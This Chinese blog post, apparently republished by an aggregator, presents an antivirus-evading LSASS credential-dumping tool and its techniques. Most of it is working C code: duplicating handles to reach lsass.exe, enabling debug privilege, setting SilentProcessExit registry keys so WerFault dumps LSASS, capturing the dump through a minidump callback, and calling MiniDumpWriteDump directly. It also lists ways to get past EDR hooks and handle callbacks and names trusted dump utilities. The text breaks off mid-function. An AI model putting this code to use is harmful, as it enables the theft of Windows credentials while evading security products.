Hidedump:dumplsass加密免杀工具

news2024/11/15 12:17:32

文章目录

    • 前记
    • hook WriteAll
    • duplication
    • 其他思路
      • SilentProcessExit
      • minidumpCallback
    • 后记
    • reference
    • reference

前记

思路:直接dumplsass原文会被杀软删掉,通过hook WriteAll对dump的内容先加密再保存到磁盘并离线解密

项目已开源,该项目采用hook WriteAll+duplication,求个stars嘻嘻嘻

https://github.com/coleak2021/hidedump

hook WriteAll

调试过程

.sympath C:\symbols\local;srv*C:\symbols\microsoft*https://msdl.microsoft.com/download/symbols
.reload
x Dbgcore!MiniDumpWriteDump
bp MiniDumpWriteDump
g
p
bp NtWriteFile
g
k

在这里插入图片描述

Taking a look at the backtrace produced once the execution flow arrives to NtWriteFile, we can see how the last call inside dbgcore.dll, before letting the OS take care of the file-writing process, is made from a function called WriteAll laying inside the Win32FileOutputProvider.

该函数未在dll中导出,因此只能通过偏移量拿到,E44F-1F=E430(offset = abs_address - base_address)

通过ida查看函数逻辑可以确定参数:

在这里插入图片描述

arg1: File Handler
arg2: Buffer
arg3: Size

这里调试中发现MiniDumpWriteDump会分段多次调用WriteAll进行处理而不是一次性处理缓冲区的内容

duplication

  • 通过NtQuerySystemInformation来获取所有进程打开的句柄。
  • 使用具有PROCESS_DUP_HANDLE权限的OpenProcess打开进程。
  • 使用NtDuplicateObject来获取远程进程副本。
  • 再通过NtQueryObject来获取句柄的信息。
  • 最后通过QueryFullProcessImageName显示进程完整路径加以判断。

结构体

__kernel_entry NTSTATUS NtQuerySystemInformation(
  [in]            SYSTEM_INFORMATION_CLASS SystemInformationClass,
  [in, out]       PVOID                    SystemInformation,
  [in]            ULONG                    SystemInformationLength,
  [out, optional] PULONG                   ReturnLength
);

typedef struct _SYSTEM_HANDLE
{
    ULONG ProcessId;
    BYTE ObjectTypeNumber;
    BYTE Flags;
    USHORT Handle;
    PVOID Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG HandleCount;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
HandleCount:表示句柄的总数
Handles[1]:即是单个的句柄(同时其详细结构在_SYSTEM_HANDLE中)
在_SYSTEM_HANDLE中表示单个句柄的参数
ProcessId:进程标识符
ObjectTypeNumber:打开的对象的类型
Flags:句柄属性标志
Handle:句柄数值,在进程打开的句柄中唯一标识某个句柄
Object:这个就是句柄对应的EPROCESS的地址
GrantedAccess:句柄对象的访问权限

NTSYSCALLAPI NTSTATUS NTAPI
NtDuplicateObject(
    _In_ HANDLE SourceProcessHandle,
    _In_ HANDLE SourceHandle,
    _In_opt_ HANDLE TargetProcessHandle,
    _Out_opt_ PHANDLE TargetHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ ULONG HandleAttributes,
    _In_ ULONG Options
);

NTSYSCALLAPI NTSTATUS NTAPI
NtQueryObject(
    _In_ HANDLE Handle,
    _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,//OBJECT_TYPE_INFORMATION
    _Out_opt_ PVOID ObjectInformation,
    _In_ ULONG ObjectInformationLength,
    _Out_opt_ PULONG ReturnLength
);

typedef struct _OBJECT_TYPE_INFORMATION
{
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    ULONG PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation, // obsolete...delete
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemMirrorMemoryInformation,
SystemPerformanceTraceInformation,
SystemObsolete0,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemVerifierAddDriverInformation,
SystemVerifierRemoveDriverInformation,
SystemProcessorIdleInformation,
SystemLegacyDriverInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation,
SystemTimeSlipNotification,
SystemSessionCreate,
SystemSessionDetach,
SystemSessionInformation,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemVerifierThunkExtend,
SystemSessionProcessInformation,
SystemLoadGdiDriverInSystemSpace,
SystemNumaProcessorMap,
SystemPrefetcherInformation,
SystemExtendedProcessInformation,
SystemRecommendedSharedDataAlignment,
SystemComPlusPackage,
SystemNumaAvailableMemory,
SystemProcessorPowerInformation,
SystemEmulationBasicInformation,
SystemEmulationProcessorInformation,
SystemExtendedHandleInformation,
SystemLostDelayedWriteInformation,
SystemBigPoolInformation,
SystemSessionPoolTagInformation,
SystemSessionMappedViewInformation,
SystemHotpatchInformation,
SystemObjectSecurityMode,
SystemWatchdogTimerHandler,
SystemWatchdogTimerInformation,
SystemLogicalProcessorInformation,
SystemWow64SharedInformation,
SystemRegisterFirmwareTableInformationHandler,
SystemFirmwareTableInformation,
SystemModuleInformationEx,
SystemVerifierTriageInformation,
SystemSuperfetchInformation,
SystemMemoryListInformation,
SystemFileCacheInformationEx,
MaxSystemInfoClass // MaxSystemInfoClass should always be the last enum
} SYSTEM_INFORMATION_CLASS;

typedef enum _OBJECT_INFORMATION_CLASS {
    ObjectBasicInformation,
    ObjectNameInformation,
    ObjectTypeInformation,
    ObjectAllInformation,
    ObjectDataInformation
} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS;
//注释
//ObjectBasicInformation 对应结构为:OBJECT_BASIC_INFORMATION
//ObjectNameInformation 对应结构为:OBJECT_NAME_INFORMATION
//ObjectTypeInformation  对应结构为:OBJECT_TYPE_INFORMATION
//ObjectAllInformation  对应结构为:   OBJECT_ALL_INFORMATION
//ObjectDataInformation对应结构为:  OBJECT_DATA_INFORMATION


WINBASEAPI BOOL WINAPI
QueryFullProcessImageNameW(
    _In_ HANDLE hProcess,
    _In_ DWORD dwFlags,
    _Out_writes_to_(*lpdwSize, *lpdwSize) LPWSTR lpExeName,
    _Inout_ PDWORD lpdwSize
    );

获取逻辑

#include <windows.h>
#include <stdio.h>
#include <wchar.h>

#define NT_SUCCESS(x) ((x) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004

#define SystemHandleInformation 16
#define ObjectBasicInformation 0
#define ObjectNameInformation 1
#define ObjectTypeInformation 2

typedef HANDLE(NTAPI* _NtOpenProcess)(
    DWORD dwDesiredAccess,
    BOOL  bInheritHandle,
    DWORD dwProcessId
    );

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );
typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
    HANDLE SourceProcessHandle,
    HANDLE SourceHandle,
    HANDLE TargetProcessHandle,
    PHANDLE TargetHandle,
    ACCESS_MASK DesiredAccess,
    ULONG Attributes,
    ULONG Options
    );
typedef NTSTATUS(NTAPI* _NtQueryObject)(
    HANDLE ObjectHandle,
    ULONG ObjectInformationClass,
    PVOID ObjectInformation,
    ULONG ObjectInformationLength,
    PULONG ReturnLength
    );

typedef BOOL(NTAPI* _NtQueryFullProcessImageNameW)(
    HANDLE hProcess,
    DWORD  dwFlags,
    LPWSTR lpExeName,
    PDWORD lpdwSize
    );

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _SYSTEM_HANDLE {
    ULONG ProcessId;
    BYTE ObjectTypeNumber;
    BYTE Flags;
    USHORT Handle;
    PVOID Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG HandleCount;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef enum _POOL_TYPE {
    NonPagedPool,
    PagedPool,
    NonPagedPoolMustSucceed,
    DontUseThisType,
    NonPagedPoolCacheAligned,
    PagedPoolCacheAligned,
    NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;

typedef struct _OBJECT_TYPE_INFORMATION {
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    POOL_TYPE PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

PVOID GetLibraryProcAddress(const char * LibraryName, const char* ProcName) {
    return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
}

void ErrorExit(LPTSTR lpszFunction) {
    // Retrieve the system error message for the last-error code

    LPVOID lpMsgBuf;
    LPVOID lpDisplayBuf;
    DWORD dw = GetLastError();

    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER |
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR)&lpMsgBuf,
        0, NULL);

    printf((const char*)lpMsgBuf);

    LocalFree(lpMsgBuf);
    LocalFree(lpDisplayBuf);
    ExitProcess(dw);
}

void ShowErr() {
    CHAR errormsg[100];
    FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 0, errormsg, sizeof(errormsg), NULL);
    printf("ERROR: %s", errormsg);
}

HANDLE enum_lsass_handles() {
    char ntdll[] = { 'n','t','d','l','l','.','d','l','l',0 };
    char kernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l',0 };
    char qsysinfo[] = { 'N','t','Q','u','e','r','y','S','y','s','t','e','m','I','n','f','o','r','m','a','t','i','o','n',0 };
    char dupo[] = { 'N','t','D','u','p','l','i','c','a','t','e','O','b','j','e','c','t',0 };
    char qo[] = { 'N','t','Q','u','e','r','y','O','b','j','e','c','t',0 };
    char qfpi[] = { 'Q','u','e','r','y','F','u','l','l','P','r','o','c','e','s','s','I','m','a','g','e','N','a','m','e','W',0 };
    char op[] = { 'O','p','e','n','P','r','o','c','e','s','s',0 };

    _NtQuerySystemInformation ffNtQuery_SystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress(ntdll, qsysinfo);
    _NtDuplicateObject ffNtDuplicate_Object =(_NtDuplicateObject) GetLibraryProcAddress(ntdll, dupo);
    _NtQueryObject ffNtQuery_Object =(_NtQueryObject) GetLibraryProcAddress(ntdll, qo);
    _NtQueryFullProcessImageNameW ffNtQuery_FullProcessImageNameW =(_NtQueryFullProcessImageNameW) GetLibraryProcAddress(kernel32, qfpi);
    _NtOpenProcess ffNtOpen_Process = (_NtOpenProcess)GetLibraryProcAddress(kernel32, op);

    NTSTATUS status;
    PSYSTEM_HANDLE_INFORMATION handleInfo;
    ULONG handleInfoSize = 0x10000;
    ULONG pid;
    HANDLE processHandle;
    ULONG i;
    HANDLE lsass_handles = NULL;

    handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

    // NtQuerySystemInformation won't give us the correct buffer size,
    //  so we guess by doubling the buffer size.
    while ((status = ffNtQuery_SystemInformation(
        SystemHandleInformation,
        handleInfo,
        handleInfoSize,
        NULL
    )) == STATUS_INFO_LENGTH_MISMATCH)
        handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

    // NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH.
    if (!NT_SUCCESS(status)) {
        printf("NtQuerySystemInformation failed!\n");
        HANDLE tmp=NULL;
        return tmp;
    }

    for (i = 0; i < handleInfo->HandleCount; i++) {
        SYSTEM_HANDLE handle = handleInfo->Handles[i];
        HANDLE dupHandle = NULL;
        POBJECT_TYPE_INFORMATION objectTypeInfo;
        PVOID objectNameInfo;
        UNICODE_STRING objectName;
        ULONG returnLength;

        // Check if PID belongs to System
        if (handle.ProcessId == 4)
            continue;

        processHandle = ffNtOpen_Process(PROCESS_DUP_HANDLE, FALSE, handle.ProcessId);

        // Duplicate the handle so we can query it.
        if (!NT_SUCCESS(ffNtDuplicate_Object(
            processHandle,
            (void*)handle.Handle,
            GetCurrentProcess(),
            &dupHandle,
            PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
            0,
            0
        ))) {
            continue;
        }


        // Query the object type.
        objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
        if (!NT_SUCCESS(ffNtQuery_Object(
            dupHandle,
            ObjectTypeInformation,
            objectTypeInfo,
            0x1000,
            NULL
        ))) {
            continue;
        }

        UNICODE_STRING objectType = *(PUNICODE_STRING)objectTypeInfo;

        wchar_t path[MAX_PATH];
        DWORD maxPath = MAX_PATH;

        if (wcsstr(objectType.Buffer, L"Process") != NULL)
        {
            // Print handle, type and its PID

            ffNtQuery_FullProcessImageNameW(dupHandle, 0, path, &maxPath);
            if (wcsstr(path, L"lsass.exe") != NULL) {
                printf("[%#x] %S: %d %ws\n", handle.Handle, objectType.Buffer, handle.ProcessId, path);
                lsass_handles = dupHandle;
            }
        }
        free(objectTypeInfo);
    }
    free(handleInfo);

    return lsass_handles;
}
BOOL  EnableDebugPrivilege()
{
    HANDLE token_handle;
    LUID luid;
    TOKEN_PRIVILEGES tkp;
    //打开访问令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token_handle))
    {
        printf("openProcessToken error");
        return   FALSE;
    }
    //查询luid
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        CloseHandle(token_handle);
        printf("lookupPrivilegevalue error");
        return   FALSE;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    //调整访问令牌权限
    if (!AdjustTokenPrivileges(token_handle, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        CloseHandle(token_handle);
        printf("adjust error");
        return   FALSE;
    }
    BOOL dwRet = ::GetLastError();
    if (ERROR_SUCCESS == dwRet)
    {
        printf("sucessful");
        return TRUE;
    }
    else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
    {
        printf("ERROR_NOT_ALL_ASSIGNED");
        return FALSE;
    }
}
int main() {
    EnableDebugPrivilege();
    enum_lsass_handles();
    return 0;
}

其他思路

SilentProcessExit

原理

促使WerFault.exe对Lsass进程进行内存转储,需要依靠一种被称为“静默进程退出”(SlientProcessExit)的机制,在以下两种情况下,该机制可以触发对特定进程的特殊动作,这里的特定进程可以理解为Lsass进程:

  • 特定进程调用ExitProcess()终止自身
  • 其他进程调用TerminateProcess()结束特定进程

在触发静默进程退出机制时,可被支持的几个动作包括:

  • 启动一个监控进程
  • 显示一个弹窗
  • 创建一个Dump文件

要对Lsass进程设置静默退出监控,需要提前对几个注册表项进行设置:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe\ 下的1个键值:
GlobalFlag - 0x200(FLG_MONITOR_SILENT_PROCESS_EXIT)

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe\ 下的3个键值:
ReportingMode - 0x2(LOCAL_DUMP);
LocalDumpFolder – DUMP文件被存放的目录,可自定义,默认为 %TEMP%\Silent Process Exit;
DumpType – 0x2(完全转储目标进程内存,MiniDumpWithFullMemory)

代码实现

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#define SavePath L"c:\\temp"

//获取lsass进程pid
DWORD FindProcessId() {
    PROCESSENTRY32 processInfo;
    processInfo.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }
    if (Process32First(snapshot, &processInfo)) {
        do {
            if (!_wcsicmp(L"lsass.exe", processInfo.szExeFile)) {
                CloseHandle(snapshot);
                return processInfo.th32ProcessID;
            }
        } while (Process32Next(snapshot, &processInfo));
    }
    CloseHandle(snapshot);
    return 0;
}

//修改注册表
int regedit() {
    HKEY hKey;
    LONG result;
    //创建并打开 "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" 子键
    result = RegCreateKeyEx(
        HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe",
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_WRITE,
        NULL,
        &hKey,
        NULL
    );
    //添加 DumpType 类型为 REG_DWORD 的内容,数据为0x2
    DWORD dumpTypeValue = 0x02;
    result = RegSetValueEx(hKey, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpTypeValue, sizeof(DWORD));
    //添加 LocalDumpFolder 类型为 REG_SZ 的内容,数据为 c:\temp(SavePath)
    result |= RegSetValueEx(hKey, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)SavePath, sizeof(SavePath));
    //添加 ReportingMode 类型为 REG_DWORD 的内容,数据为0x2
    DWORD reportingModeValue = 0x02;
    result |= RegSetValueEx(hKey, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingModeValue, sizeof(DWORD));
    RegCloseKey(hKey);

    //创建并打开 "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" 子键
    result = RegCreateKeyEx(
        HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe",
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_WRITE,
        NULL,
        &hKey,
        NULL
    );
    //添加 GlobalFlag 类型为 REG_DWORD 的内容,数据为0x200
    DWORD globalFlagValue = 0x200;
    result = RegSetValueEx(hKey, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlagValue, sizeof(DWORD));
    RegCloseKey(hKey);
    return 0;
}

// 启用调试权限
void DebugPrivilege() {
    //打开进程访问令牌
    HANDLE hProcessToken = NULL;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hProcessToken);
    //取得SeDebugPrivilege特权的LUID值
    LUID luid;
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
    //调整访问令牌特权
    TOKEN_PRIVILEGES token;
    token.PrivilegeCount = 1;
    token.Privileges[0].Luid = luid;
    token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    //获取debug特权
    AdjustTokenPrivileges(hProcessToken, FALSE, &token, 0, NULL, NULL);
    CloseHandle(hProcessToken);
}

int main() {
    //提升令牌访问权限
    DebugPrivilege();

    //设置注册表
    regedit();

    //获取lsass进程pid
    DWORD processId = FindProcessId();

    //获取lsass句柄
    HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, processId);
    if (hProcess == INVALID_HANDLE_VALUE) {
        printf("OpenProcess() --err: %d\n", GetLastError());
    }

    //从ntdll中取RtlReportSilentProcessExit函数
    typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit)(
        HANDLE processHandle,
        NTSTATUS ExitStatus
        );
    HMODULE hModule = GetModuleHandle(L"ntdll.dll");
    RtlReportSilentProcessExit fRtlReportSilentProcessExit = (RtlReportSilentProcessExit)GetProcAddress(hModule, "RtlReportSilentProcessExit");

    //静默退出lsass
    NTSTATUS s = fRtlReportSilentProcessExit(hProcess, 0);
    if (s == 0) {
        printf("Lsass内存转储成功,保存路径:%S", SavePath);
    }
    CloseHandle(hProcess);
    CloseHandle(hModule);
}

minidumpCallback

回调处理dump进行加密处理

BOOL CALLBACK minidumpCallback(
	__in     PVOID callbackParam,
	__in     const PMINIDUMP_CALLBACK_INPUT callbackInput,
	__inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
	LPVOID destination = 0, source = 0;
	DWORD bufferSize = 0;

	switch (callbackInput->CallbackType)
	{
	case IoStartCallback:
		callbackOutput->Status = S_FALSE;
		break;

		// Gets called for each lsass process memory read operation
	case IoWriteAllCallback:
		callbackOutput->Status = S_OK;

		// A chunk of minidump data that's been jus read from lsass. 
		// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
		// We will simply save it to dumpBuffer.
		source = callbackInput->Io.Buffer;

		// Calculate location of where we want to store this part of the dump.
		// Destination is start of our dumpBuffer + the offset of the minidump data
		destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

		// Size of the chunk of minidump that's just been read.
		bufferSize = callbackInput->Io.BufferBytes;
		bytesRead += bufferSize;

		RtlCopyMemory(destination, source, bufferSize);

		printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize);
		break;

	case IoFinishCallback:
		callbackOutput->Status = S_OK;
		break;

	default:
		return true;
	}
	return TRUE;
}

后记

绕过驱动注册的句柄回调

The Windows kernel allows your driver to register a list of callback routines for thread, process, and desktop handle operations. This can be achieved through ObRegisterCallbacks

创建新的Lsass进程
复制现有Lsass句柄,即从其他进程中duplicate Lsass句柄
堆栈欺骗,将Dump程序自身的堆栈调用特征做伪装,使其看起来是一个合法的系统进程对Lsass句柄进行了复制
将Lsass进程句柄泄露(比如利用seclogon)等。

绕过hook

MiniDumpWriteDump heavily relies on the usage of the NtReadVirtualMemory system call that allows it to read memory of remote processes

syscall
Unhook
使用系统合法程序生成Lsass的dump文件

加密

minidumpCallback
hook WriteAll

白名单

  • Procdump.exe
  • SQLDumper.exe
  • createdump.exe
  • AvDump.exe
  • DumpMinitool

Process Security and Access Rights

  1. PROCESS_ALL_ACCESS: 进程的所有可能访问权限。

  2. PROCESS_CREATE_PROCESS: 需要创建一个进程。

  3. PROCESS_CREATE_THREAD: 需要创建一个线程。

  4. PROCESS_DUP_HANDLE: 需要使用 DuplicateHandle 复制句柄。

  5. PROCESS_QUERY_INFORMATION: 需要检索有关进程的一般信息,例如其令牌、退出代码和优先级。

  6. PROCESS_QUERY_LIMITED_INFORMATION: 需要检索有关进程的某些有限信息。

  7. PROCESS_SET_INFORMATION: 需要设置有关进程的某些信息,例如其优先级。

  8. PROCESS_SET_QUOTA: 需要使用 SetProcessWorkingSetSize 设置内存限制。

  9. PROCESS_SUSPEND_RESUME: 需要暂停或恢复进程。

  10. PROCESS_TERMINATE: 需要使用 TerminateProcess 终止进程。

  11. PROCESS_VM_OPERATION: 需要对进程的地址空间执行操作(VirtualProtectEx、WriteProcessMemory)。

  12. PROCESS_VM_READ: 需要在使用 ReadProcessMemory 的进程中读取内存。

  13. PROCESS_VM_WRITE: 需要在使用 WriteProcessMemory 的进程中写入内存。

权限提升

进程访问令牌权限提升的实现步骤较为固定。要想提升访问令牌权限,首先要获取进程的访问令牌,然后将访问令牌的权限修改为指定权限,但是系统内部并不直接识别权限名称,而是识别LUID值,所以需要根据权限名称获取对应的LUID值,实现进程访问令牌权限的修改。

#include <stdio.h>
#include <windows.h>
BOOL  EnableDebugPrivilege()
{
    HANDLE token_handle;
    LUID luid;
    TOKEN_PRIVILEGES tkp;
    //打开访问令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token_handle))
    {
        printf("openProcessToken error");
        return   FALSE;
    }
    //查询luid
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        CloseHandle(token_handle);
        printf("lookupPrivilegevalue error");
        return   FALSE;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    //调整访问令牌权限
    if (!AdjustTokenPrivileges(token_handle, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        CloseHandle(token_handle);
        printf("adjust error");
        return   FALSE;
    }
    BOOL dwRet = ::GetLastError();
    if (ERROR_SUCCESS == dwRet)
    {
        printf("sucessful");
        return TRUE;
    }
    else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
    {
        printf("ERROR_NOT_ALL_ASSIGNED");
        return FALSE;
    }
}
int main()
{
    EnableDebugPrivilege();
    system("pause");
    return 0;
}

关于代码中的错误码可以参考

https://learn.microsoft.com/zh-cn/windows/win32/debug/system-error-codes

MiniDumpWriteDump

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")

// Function to get the Process ID (PID) by its name
int getPIDbyProcName(const wchar_t* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Get the first process entry in the snapshot
    if (Process32First(hSnap, &pe32) != FALSE) {
        // Iterate through the running processes to find the process with the specified name
        while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {
            if (wcscmp(pe32.szExeFile, procName) == 0) {
                // Found the process with the matching name, store its PID
                pid = pe32.th32ProcessID;
                break;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

// Function to set a privilege for the current process
BOOL setPrivilege(LPCTSTR priv) {
    HANDLE token;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    BOOL res = TRUE;

    // Lookup the LUID (Locally Unique Identifier) for the specified privilege name
    if (!LookupPrivilegeValue(NULL, priv, &luid))
        res = FALSE;

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // Open the access token for the current process
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token))
        res = FALSE;

    // Enable the specified privilege in the access token
    if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp),NULL,NULL))
        res = FALSE;
    BOOL dwRet = ::GetLastError();
    if (ERROR_SUCCESS == dwRet)
    {
        printf("sucessful");
        return TRUE;
    }
    else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
    {
        printf("ERROR_NOT_ALL_ASSIGNED");
        return FALSE;
    }
    // Print status of the privilege enabling attempt
    printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
    return res;
}

// Function to create a memory dump of the lsass.exe process
BOOL createMiniDump() {
    bool dumped = false;
    int pid = getPIDbyProcName(L"lsass.exe");

    // Open a handle to the lsass.exe process with read and query information access rights
    HANDLE ph = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, pid);

    // Create a file handle to the output file for the memory dump
    HANDLE out = CreateFileA("lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    // Check if both process and file handles are valid
    if (ph && out != INVALID_HANDLE_VALUE) {
        // Generate the memory dump of the lsass.exe process and write it to the output file
        dumped = MiniDumpWriteDump(ph, pid, out, (MINIDUMP_TYPE)0x00000002, NULL, NULL, NULL);

        // Print status of the memory dump operation
        printf(dumped ? "successfully dumped to lsaas.dmp :)\n" : "failed to dump :(\n");

        // Close the file and process handles
        CloseHandle(out);
        CloseHandle(ph);

        // Print the PID of the dumped lsass.exe process
        printf("dumped lsass.exe with PID %d\n", pid);

        // If the memory dump was successful, print the dump file location
        if (dumped) {
            printf("dumping lsass.exe to lsass.dmp\n");
        }
    }

    // Return whether the memory dump was successful
    return dumped;
}

int main(int argc, char* argv[]) {
    // Enable the SE_DEBUG_NAME privilege for the current process to allow debugging other processes
